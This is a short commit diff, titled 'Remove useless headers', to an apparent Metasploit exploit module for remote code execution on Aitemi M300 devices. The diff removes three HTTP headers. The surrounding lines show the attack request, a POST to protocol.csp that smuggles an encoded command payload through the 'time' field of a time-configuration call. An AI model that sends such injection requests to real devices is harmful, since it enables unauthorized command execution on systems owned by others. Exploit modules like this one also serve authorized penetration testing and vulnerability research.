Remove useless headers

Author: Chocapikk

modules/exploits/linux/http/aitemi_m300_time_rce.rb

@@ -122,11 +122,6 @@ def exploit
     send_request_cgi(
       'method' => 'POST',
       'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),
-      'headers' => {
-        'Origin' => "http://#{rhost}",
-        'Referer' => "http://#{rhost}/network.html",
-        'X-Requested-With' => 'XMLHttpRequest'
-      },
       'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
       'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"
     )